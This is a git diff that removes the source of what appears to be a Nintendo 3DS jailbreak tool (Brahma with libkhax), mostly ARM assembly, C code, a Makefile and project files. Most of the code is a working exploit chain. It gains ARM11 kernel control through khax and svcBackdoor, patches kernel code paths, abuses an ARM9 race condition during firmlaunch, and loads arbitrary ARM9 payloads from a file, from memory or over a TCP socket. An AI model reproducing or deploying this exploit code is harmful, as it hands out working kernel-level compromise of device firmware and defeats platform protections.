STR R2, [R1, #8]
|
||||
|
||||
wait_arm9_loop:
|
||||
LDRB R0, [R8]
|
||||
ANDS R0, R0, #1
|
||||
BNE wait_arm9_loop
|
||||
|
||||
@ overwrite orig entry point with FCRAM addr
|
||||
@ this exploits the race condition bug
|
||||
STR R9, [R10, #0x0C]
|
||||
|
||||
LDR R0, pa_arm11_code
|
||||
wait_arm11_loop:
|
||||
LDR R1, [r0]
|
||||
CMP R1, #0
|
||||
BEQ wait_arm11_loop
|
||||
BX R1
|
||||
|
||||
pa_hijack_arm9_dst: .long 0x1FFFFC00
|
||||
pa_arm11_code: .long 0x1FFFFFF8
|
||||
pa_pxi_regs: .long 0x10163000
|
||||
some_pxi_cmd: .long 0x44846
|
||||
pa_firm_header: .long 0x24000000
|
||||
pa_arm9_payload: .long 0x23F00000
|
||||
pa_io_mem: .long 0x10140000
|
||||
hijack_arm9_end:
|
||||
|
||||
copy_mem:
|
||||
SUB R3, R1, R0
|
||||
MOV R1, R3,ASR#2
|
||||
CMP R1, #0
|
||||
BLE locret_FFFF0AC0
|
||||
MOVS R1, R3,LSL#29
|
||||
SUB R0, R0, #4
|
||||
SUB R1, R2, #4
|
||||
BPL loc_FFFF0AA0
|
||||
LDR R2, [R0,#4]!
|
||||
STR R2, [R1,#4]!
|
||||
loc_FFFF0AA0:
|
||||
MOVS R2, R3,ASR#3
|
||||
BEQ locret_FFFF0AC0
|
||||
loc_FFFF0AA8:
|
||||
LDR R3, [R0,#4]
|
||||
SUBS R2, R2, #1
|
||||
STR R3, [R1,#4]
|
||||
LDR R3, [R0,#8]!
|
||||
STR R3, [R1,#8]!
|
||||
BNE loc_FFFF0AA8
|
||||
locret_FFFF0AC0:
|
||||
BX LR
|
||||
|
||||
pdn_send:
|
||||
LDR R1, va_pdn_regs
|
||||
STRB R0, [R1, #0x230]
|
||||
BX LR
|
||||
|
||||
pxi_send:
|
||||
LDR R1, va_pxi_regs
|
||||
loc_1020D0:
|
||||
LDRH R2, [R1,#4]
|
||||
TST R2, #2
|
||||
BNE loc_1020D0
|
||||
STR R0, [R1,#8]
|
||||
|
||||
MOV R0, #4
|
||||
delay:
|
||||
MOV R1, #0
|
||||
MCR p15, 0, r1, c7, c10, 0
|
||||
MCR p15, 0, r1, c7, c10, 4
|
||||
loop:
|
||||
SUBS R0, #1
|
||||
BGT loop
|
||||
BX LR
|
||||
|
||||
pxi_recv:
|
||||
LDR R0, va_pxi_regs
|
||||
loc_1020FC:
|
||||
LDRH R1, [R0,#4]
|
||||
TST R1, #0x100
|
||||
BNE loc_1020FC
|
||||
LDR R0, [R0,#0xC]
|
||||
BX LR
|
||||
|
||||
pxi_sync:
|
||||
LDR R0, va_pxi_regs
|
||||
LDRB R1, [R0,#3]
|
||||
ORR R1, R1, #0x40
|
||||
STRB R1, [R0,#3]
|
||||
BX LR
|
||||
|
||||
.global arm11_end
|
||||
arm11_end:
|
||||
|
||||
.global arm11_globals_start
|
||||
arm11_globals_start:
|
||||
|
||||
va_pdn_regs: .long 0
|
||||
va_pxi_regs: .long 0
|
||||
va_hook1_ret: .long 0
|
||||
|
||||
.global arm11_globals_end
|
||||
arm11_globals_end:
|
@ -1,380 +0,0 @@
|
||||
#include <3ds.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <malloc.h>
|
||||
#include <dirent.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/_default_fcntl.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
#include "brahma.h"
|
||||
#include "exploitdata.h"
|
||||
#include "utils.h"
|
||||
#include "libkhax/khax.h"
|
||||
|
||||
static u8 *g_ext_arm9_buf;
|
||||
static u32 g_ext_arm9_size = 0;
|
||||
static s32 g_ext_arm9_loaded = 0;
|
||||
static struct exploit_data g_expdata;
|
||||
static struct arm11_shared_data g_arm11shared;
|
||||
u32 frameBufferData[3];
|
||||
|
||||
/* should be the very first call. allocates heap buffer
|
||||
for ARM9 payload */
|
||||
u32 brahma_init (void) {
|
||||
g_ext_arm9_buf = memalign(0x1000, ARM9_PAYLOAD_MAX_SIZE);
|
||||
return (g_ext_arm9_buf != 0);
|
||||
}
|
||||
|
||||
/* call upon exit */
|
||||
u32 brahma_exit (void) {
|
||||
if (g_ext_arm9_buf) {
|
||||
free(g_ext_arm9_buf);
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* overwrites two instructions (8 bytes in total) at src_addr
|
||||
with code that redirects execution to dst_addr */
|
||||
void redirect_codeflow (u32 *dst_addr, u32 *src_addr) {
|
||||
*(src_addr + 1) = (u32)dst_addr;
|
||||
*src_addr = ARM_JUMPOUT;
|
||||
}
|
||||
|
||||
/* fills exploit_data structure with information that is specific
|
||||
to 3DS model and firmware version
|
||||
returns: 0 on failure, 1 on success */
|
||||
s32 get_exploit_data (struct exploit_data *data) {
|
||||
u32 fversion = 0;
|
||||
u8 isN3DS = 0;
|
||||
u32 i;
|
||||
s32 result = 0;
|
||||
u32 sysmodel = SYS_MODEL_NONE;
|
||||
|
||||
if(!data)
|
||||
return result;
|
||||
|
||||
fversion = osGetFirmVersion();
|
||||
APT_CheckNew3DS(&isN3DS);
|
||||
sysmodel = isN3DS ? SYS_MODEL_NEW_3DS : SYS_MODEL_OLD_3DS;
|
||||
|
||||
/* copy platform and firmware dependent data */
|
||||
for(i = 0; i < sizeof(supported_systems) / sizeof(supported_systems[0]); i++) {
|
||||
if (supported_systems[i].firm_version == fversion &&
|
||||
supported_systems[i].sys_model & sysmodel) {
|
||||
memcpy(data, &supported_systems[i], sizeof(struct exploit_data));
|
||||
result = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
/* get system dependent data and set up ARM11 structures */
|
||||
s32 setup_exploit_data (void) {
|
||||
s32 result = 0;
|
||||
|
||||
if (get_exploit_data(&g_expdata)) {
|
||||
/* copy data required by code running in ARM11 svc mode */
|
||||
g_arm11shared.va_hook1_ret = g_expdata.va_hook1_ret;
|
||||
g_arm11shared.va_pdn_regs = g_expdata.va_pdn_regs;
|
||||
g_arm11shared.va_pxi_regs = g_expdata.va_pxi_regs;
|
||||
result = 1;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
/* TODO: network code might be moved somewhere else */
|
||||
s32 recv_arm9_payload (void) {
|
||||
s32 sockfd;
|
||||
struct sockaddr_in sa;
|
||||
u32 kDown, old_kDown;
|
||||
s32 clientfd;
|
||||
struct sockaddr_in client_addr;
|
||||
u32 addrlen = sizeof(client_addr);
|
||||
s32 sflags = 0;
|
||||
|
||||
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
|
||||
printf("[!] Error: socket()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
bzero(&sa, sizeof(sa));
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_port = htons(BRAHMA_NETWORK_PORT);
|
||||
sa.sin_addr.s_addr = gethostid();
|
||||
|
||||
if (bind(sockfd, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
|
||||
printf("[!] Error: bind()\n");
|
||||
close(sockfd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (listen(sockfd, 1) != 0) {
|
||||
printf("[!] Error: listen()\n");
|
||||
close(sockfd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf("[x] IP %s:%d\n", inet_ntoa(sa.sin_addr), BRAHMA_NETWORK_PORT);
|
||||
|
||||
g_ext_arm9_size = 0;
|
||||
g_ext_arm9_loaded = 0;
|
||||
|
||||
sflags = fcntl(sockfd, F_GETFL);
|
||||
if (sflags == -1) {
|
||||
printf("[!] Error: fcntl() (1)\n");
|
||||
close(sockfd);
|
||||
}
|
||||
fcntl(sockfd, F_SETFL, sflags | O_NONBLOCK);
|
||||
|
||||
hidScanInput();
|
||||
old_kDown = hidKeysDown();
|
||||
while (1) {
|
||||
hidScanInput();
|
||||
kDown = hidKeysDown();
|
||||
if (kDown != old_kDown) {
|
||||
printf("[!] Aborted\n");
|
||||
close(sockfd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
clientfd = accept(sockfd, (struct sockaddr*)&client_addr, &addrlen);
|
||||
svcSleepThread(100000000);
|
||||
if (clientfd > 0)
|
||||
break;
|
||||
}
|
||||
|
||||
printf("[x] Connection from %s:%d\n\n", inet_ntoa(client_addr.sin_addr),
|
||||
ntohs(client_addr.sin_port));
|
||||
|
||||
s32 recvd;
|
||||
u32 total = 0;
|
||||
s32 overflow = 0;
|
||||
while ((recvd = recv(clientfd, g_ext_arm9_buf + total,
|
||||
ARM9_PAYLOAD_MAX_SIZE - total, 0)) != 0) {
|
||||
if (recvd != -1) {
|
||||
total += recvd;
|
||||
printf(".");
|
||||
}
|
||||
if (total >= ARM9_PAYLOAD_MAX_SIZE) {
|
||||
overflow = 1;
|
||||
printf("[!] Error: invalid payload size\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
fcntl(sockfd, F_SETFL, sflags & ~O_NONBLOCK);
|
||||
|
||||
printf("\n\n[x] Received %u bytes in total\n", (unsigned int)total);
|
||||
g_ext_arm9_size = overflow ? 0 : total;
|
||||
g_ext_arm9_loaded = (g_ext_arm9_size != 0);
|
||||
|
||||
close(clientfd);
|
||||
close(sockfd);
|
||||
|
||||
return g_ext_arm9_loaded;
|
||||
}
|
||||
|
||||
/* reads ARM9 payload from a given path.
|
||||
filename: full path of payload
|
||||
offset: offset of the payload in the file
|
||||
max_psize: the maximum size of the payload that should be loaded (if 0, ARM9_MAX_PAYLOAD_SIZE. Should be smaller than ARM9_MAX_PAYLOAD_SIZE)
|
||||
returns: 0 on failure, 1 on success */
|
||||
s32 load_arm9_payload_offset (char *filename, u32 offset, u32 max_psize) {
|
||||
s32 result = 0;
|
||||
u32 fsize = 0;
|
||||
u32 psize = 0;
|
||||
|
||||
if (max_psize == 0 || max_psize > ARM9_PAYLOAD_MAX_SIZE)
|
||||
max_psize = ARM9_PAYLOAD_MAX_SIZE;
|
||||
|
||||
if (!filename)
|
||||
return result;
|
||||
|
||||
FILE *f = fopen(filename, "rb");
|
||||
if (f) {
|
||||
fseek(f , 0, SEEK_END);
|
||||
fsize = ftell(f);
|
||||
|
||||
if (offset < fsize) {
|
||||
psize = fsize - offset;
|
||||
if (psize > max_psize)
|
||||
psize = max_psize;
|
||||
|
||||
g_ext_arm9_size = psize;
|
||||
|
||||
fseek(f, offset, SEEK_SET);
|
||||
if (psize >= 8) {
|
||||
u32 bytes_read = fread(g_ext_arm9_buf, 1, psize, f);
|
||||
result = (g_ext_arm9_loaded = (bytes_read == psize));
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
/* reads ARM9 payload from memory.
|
||||
data: array of u8 containing the payload
|
||||
dsize: size of the data array
|
||||
returns: 0 on failure, 1 on success */
|
||||
s32 load_arm9_payload_from_mem (u8* data, u32 dsize) {
|
||||
s32 result = 0;
|
||||
|
||||
if ((data != NULL) && (dsize >= 8) && (dsize <= ARM9_PAYLOAD_MAX_SIZE)) {
|
||||
g_ext_arm9_size = dsize;
|
||||
memcpy(g_ext_arm9_buf, data, dsize);
|
||||
result = g_ext_arm9_loaded = 1;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/* copies ARM9 payload to FCRAM
|
||||
- before overwriting it in memory, Brahma creates a backup copy of
|
||||
the mapped firm binary's ARM9 entry point. The copy will be stored
|
||||
into offset 4 of the ARM9 payload during run-time.
|
||||
This allows the ARM9 payload to resume booting the Nintendo firmware
|
||||
code.
|
||||
Thus, the format of ARM9 payload written for Brahma is the following:
|
||||
- a branch instruction at offset 0 and
|
||||
- a placeholder (u32) at offset 4 (=ARM9 entrypoint) */
|
||||
s32 map_arm9_payload (void) {
|
||||
void *src;
|
||||
volatile void *dst;
|
||||
|
||||
u32 size = 0;
|
||||
s32 result = 0;
|
||||
|
||||
dst = (void *)(g_expdata.va_fcram_base + OFFS_FCRAM_ARM9_PAYLOAD);
|
||||
|
||||
if (!g_ext_arm9_loaded) {
|
||||
return 0;
|
||||
}
|
||||
else {
|
||||
// external ARM9 payload
|
||||
src = g_ext_arm9_buf;
|
||||
size = g_ext_arm9_size;
|
||||
}
|
||||
|
||||
if (size <= ARM9_PAYLOAD_MAX_SIZE) {
|
||||
memcpy((void *)dst, src, size);
|
||||
result = 1;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
s32 map_arm11_payload (void) {
|
||||
void *src;
|
||||
volatile void *dst;
|
||||
u32 size = 0;
|
||||
u32 offs;
|
||||
s32 result_a = 0;
|
||||
s32 result_b = 0;
|
||||
|
||||
src = &arm11_start;
|
||||
dst = (void *)(g_expdata.va_exc_handler_base_W + OFFS_EXC_HANDLER_UNUSED);
|
||||
size = (u8 *)&arm11_end - (u8 *)&arm11_start;
|
||||
|
||||
// TODO: sanitize 'size'
|
||||
if (size) {
|
||||
memcpy((void *)dst, src, size);
|
||||
result_a = 1;
|
||||
}
|
||||
|
||||
offs = size;
|
||||
src = &g_arm11shared;
|
||||
size = sizeof(g_arm11shared);
|
||||
|
||||
dst = (u8 *)(g_expdata.va_exc_handler_base_W +
|
||||
OFFS_EXC_HANDLER_UNUSED + offs);
|
||||
|
||||
// TODO sanitize 'size'
|
||||
if (result_a && size) {
|
||||
memcpy((void *)dst, src, size);
|
||||
result_b = 1;
|
||||
}
|
||||
|
||||
return result_a && result_b;
|
||||
}
|
||||
|
||||
void exploit_arm9_race_condition (void) {
|
||||
|
||||
s32 (* const _KernelSetState)(u32, u32, u32, u32) =
|
||||
(void *)g_expdata.va_kernelsetstate;
|
||||
|
||||
asm volatile ("clrex");
|
||||
|
||||
/* copy ARM11 payload and console specific data */
|
||||
if (map_arm11_payload() &&
|
||||
/* copy ARM9 payload to FCRAM */
|
||||
map_arm9_payload()) {
|
||||
|
||||
/* patch ARM11 kernel to force it to execute
|
||||
our code (hook1 and hook2) as soon as a
|
||||
"firmlaunch" is triggered */
|
||||
redirect_codeflow((u32 *)(g_expdata.va_exc_handler_base_X +
|
||||
OFFS_EXC_HANDLER_UNUSED),
|
||||
(u32 *)g_expdata.va_patch_hook1);
|
||||
|
||||
redirect_codeflow((u32 *)(PA_EXC_HANDLER_BASE +
|
||||
OFFS_EXC_HANDLER_UNUSED + 4),
|
||||
(u32 *)g_expdata.va_patch_hook2);
|
||||
|
||||
CleanEntireDataCache();
|
||||
dsb();
|
||||
InvalidateEntireInstructionCache();
|
||||
|
||||
// trigger ARM9 code execution through "firmlaunch"
|
||||
_KernelSetState(0, 0, 2, 0);
|
||||
// prev call shouldn't ever return
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
/* restore svcCreateThread code (not really required,
|
||||
but just to be on the safe side) */
|
||||
s32 priv_firm_reboot (void) {
|
||||
__asm__ volatile ("cpsid aif");
|
||||
|
||||
// Save the framebuffers for arm9,
|
||||
u32 *save = (u32 *)(g_expdata.va_fcram_base + 0x3FFFE00);
|
||||
memcpy(save, frameBufferData, sizeof(u32) * sizeof(frameBufferData));
|
||||
|
||||
exploit_arm9_race_condition();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* perform firmlaunch. load ARM9 payload before calling this
|
||||
function. otherwise, calling this function simply reboots
|
||||
the handheld */
|
||||
s32 firm_reboot (void) {
|
||||
s32 fail_stage = 0;
|
||||
|
||||
// Make sure gfx is initialized
|
||||
gfxInitDefault();
|
||||
|
||||
// Save the framebuffers for arm11.
|
||||
frameBufferData[0] = (u32)gfxGetFramebuffer(GFX_TOP, GFX_LEFT, NULL, NULL) + 0xC000000;
|
||||
frameBufferData[1] = (u32)gfxGetFramebuffer(GFX_TOP, GFX_RIGHT, NULL, NULL) + 0xC000000;
|
||||
frameBufferData[2] = (u32)gfxGetFramebuffer(GFX_BOTTOM, 0, NULL, NULL) + 0xC000000;
|
||||
gfxSwapBuffers();
|
||||
|
||||
fail_stage++; /* platform or firmware not supported, ARM11 exploit failure */
|
||||
if (setup_exploit_data()) {
|
||||
fail_stage++; /* failure while trying to corrupt svcCreateThread() */
|
||||
if (khaxInit() == 0) {
|
||||
fail_stage++; /* Firmlaunch failure, ARM9 exploit failure*/
|
||||
svcBackdoor(priv_firm_reboot);
|
||||
}
|
||||
}
|
||||
|
||||
/* we do not intend to return ... */
|
||||
return fail_stage;
|
||||
}
|
@ -1,27 +0,0 @@
|
||||
#include <3ds.h>
|
||||
#include <stdio.h>
|
||||
|
||||
/* loop until key is pressed */
|
||||
void wait_key (void) {
|
||||
hidScanInput();
|
||||
u32 old_kDown, kDown;
|
||||
old_kDown = hidKeysDown();
|
||||
|
||||
while (aptMainLoop()) {
|
||||
gspWaitForVBlank();
|
||||
|
||||
hidScanInput();
|
||||
kDown = hidKeysDown();
|
||||
if (kDown != old_kDown)
|
||||
break;
|
||||
|
||||
gfxFlushBuffers();
|
||||
gfxSwapBuffers();
|
||||
}
|
||||
}
|
||||
|
||||
/* convenience function */
|
||||
void wait_any_key (void) {
|
||||
printf("\n\nPress key to continue\n");
|
||||
wait_key();
|
||||
}
|
@ -1,22 +0,0 @@
|
||||
The MIT License (MIT)
|
||||
|
||||
Copyright (c) 2015 Myriachan
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
@ -1,177 +0,0 @@
|
||||
#---------------------------------------------------------------------------------
|
||||
.SUFFIXES:
|
||||
#---------------------------------------------------------------------------------
|
||||
|
||||
ifeq ($(strip $(DEVKITARM)),)
|
||||
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
|
||||
endif
|
||||
|
||||
TOPDIR ?= $(CURDIR)
|
||||
include $(DEVKITARM)/3ds_rules
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# TARGET is the name of the output
|
||||
# BUILD is the directory where object files & intermediate files will be placed
|
||||
# SOURCES is a list of directories containing source code
|
||||
# DATA is a list of directories containing data files
|
||||
# INCLUDES is a list of directories containing header files
|
||||
#
|
||||
# NO_SMDH: if set to anything, no SMDH file is generated.
|
||||
# APP_TITLE is the name of the app stored in the SMDH file (Optional)
|
||||
# APP_DESCRIPTION is the description of the app stored in the SMDH file (Optional)
|
||||
# APP_AUTHOR is the author of the app stored in the SMDH file (Optional)
|
||||
# ICON is the filename of the icon (.png), relative to the project folder.
|
||||
# If not set, it attempts to use one of the following (in this order):
|
||||
# - <Project name>.png
|
||||
# - icon.png
|
||||
# - <libctru folder>/default_icon.png
|
||||
#---------------------------------------------------------------------------------
|
||||
TARGET := $(notdir $(CURDIR))
|
||||
BUILD := build
|
||||
SOURCES := . ../
|
||||
DATA := data
|
||||
INCLUDES := include
|
||||
APP_TITLE := khax
|
||||
APP_DESCRIPTION := ARM11 KernelHax
|
||||
APP_AUTHOR := Myria
|
||||
ICON := logo.png
|
||||
NO_SMDH := 1
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# options for code generation
|
||||
#---------------------------------------------------------------------------------
|
||||
ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard
|
||||
|
||||
CFLAGS := -g -Wall -O3 -mword-relocations \
|
||||
-fomit-frame-pointer -ffast-math \
|
||||
$(ARCH)
|
||||
|
||||
CFLAGS += $(INCLUDE) -DARM11 -D_3DS -DARM_ARCH -DKHAX_DEBUG
|
||||
|
||||
CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11
|
||||
|
||||
ASFLAGS := -g $(ARCH)
|
||||
LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map)
|
||||
|
||||
LIBS := -lctru -lm
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# list of directories containing libraries, this must be the top level containing
|
||||
# include and lib
|
||||
#---------------------------------------------------------------------------------
|
||||
LIBDIRS := $(CTRULIB)
|
||||
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# no real need to edit anything past this point unless you need to add additional
|
||||
# rules for different file extensions
|
||||
#---------------------------------------------------------------------------------
|
||||
ifneq ($(BUILD),$(notdir $(CURDIR)))
|
||||
#---------------------------------------------------------------------------------
|
||||
|
||||
export OUTPUT := $(CURDIR)/$(TARGET)
|
||||
export TOPDIR := $(CURDIR)
|
||||
|
||||
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
|
||||
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
|
||||
|
||||
export DEPSDIR := $(CURDIR)/$(BUILD)
|
||||
|
||||
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
|
||||
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
|
||||
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
|
||||
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# use CXX for linking C++ projects, CC for standard C
|
||||
#---------------------------------------------------------------------------------
|
||||
ifeq ($(strip $(CPPFILES)),)
|
||||
#---------------------------------------------------------------------------------
|
||||
export LD := $(CC)
|
||||
#---------------------------------------------------------------------------------
|
||||
else
|
||||
#---------------------------------------------------------------------------------
|
||||
export LD := $(CXX)
|
||||
#---------------------------------------------------------------------------------
|
||||
endif
|
||||
#---------------------------------------------------------------------------------
|
||||
|
||||
export OFILES := $(addsuffix .o,$(BINFILES)) \
|
||||
$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
|
||||
|
||||
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
|
||||
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
|
||||
-I$(CURDIR)/$(BUILD)
|
||||
|
||||
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib)
|
||||
|
||||
ifeq ($(strip $(ICON)),)
|
||||
icons := $(wildcard *.png)
|
||||
ifneq (,$(findstring $(TARGET).png,$(icons)))
|
||||
export APP_ICON := $(TOPDIR)/$(TARGET).png
|
||||
else
|
||||
ifneq (,$(findstring icon.png,$(icons)))
|
||||
export APP_ICON := $(TOPDIR)/icon.png
|
||||
endif
|
||||
endif
|
||||
else
|
||||
export APP_ICON := $(TOPDIR)/$(ICON)
|
||||
endif
|
||||
|
||||
.PHONY: $(BUILD) clean all
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
all: $(BUILD)
|
||||
|
||||
$(BUILD):
|
||||
@echo $(SFILES)
|
||||
@[ -d $@ ] || mkdir -p $@
|
||||
@make --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
clean:
|
||||
@echo clean ...
|
||||
@rm -fr $(BUILD) $(TARGET).3dsx $(OUTPUT).smdh $(TARGET).elf
|
||||
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
else
|
||||
|
||||
DEPENDS := $(OFILES:.o=.d)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# main targets
|
||||
#---------------------------------------------------------------------------------
|
||||
ifeq ($(strip $(NO_SMDH)),)
|
||||
.PHONY: all
|
||||
all : $(OUTPUT).3dsx $(OUTPUT).smdh
|
||||
endif
|
||||
cpu.o cpu_threaded.o: CFLAGS += -Wno-unused-variable -Wno-unused-label
|
||||
$(OUTPUT).3dsx : $(OUTPUT).elf
|
||||
$(OUTPUT).elf : $(OFILES)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# you need a rule like this for each extension you use as binary data
|
||||
#---------------------------------------------------------------------------------
|
||||
%.bin.o : %.bin
|
||||
#---------------------------------------------------------------------------------
|
||||
@echo $(notdir $<)
|
||||
@$(bin2o)
|
||||
|
||||
# WARNING: This is not the right way to do this! TODO: Do it right!
|
||||
#---------------------------------------------------------------------------------
|
||||
%.vsh.o : %.vsh
|
||||
#---------------------------------------------------------------------------------
|
||||
@echo $(notdir $<)
|
||||
@python $(AEMSTRO)/aemstro_as.py $< ../$(notdir $<).shbin
|
||||
@bin2s ../$(notdir $<).shbin | $(PREFIX)as -o $@
|
||||
@echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > `(echo $(notdir $<).shbin | tr . _)`.h
|
||||
@echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> `(echo $(notdir $<).shbin | tr . _)`.h
|
||||
@echo "extern const u32" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> `(echo $(notdir $<).shbin | tr . _)`.h
|
||||
@rm ../$(notdir $<).shbin
|
||||
|
||||
-include $(DEPENDS)
|
||||
|
||||
#---------------------------------------------------------------------------------------
|
||||
endif
|
||||
#---------------------------------------------------------------------------------------
|
@ -1,22 +0,0 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 2013
|
||||
VisualStudioVersion = 12.0.31101.0
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ctrklib", "ctrklib.vcxproj", "{80EE495D-0A84-4089-A93E-2B9E2BC38F94}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Release|Win32 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Release|Win32.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
@ -1,82 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{80EE495D-0A84-4089-A93E-2B9E2BC38F94}</ProjectGuid>
|
||||
<RootNamespace>ctrklib</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
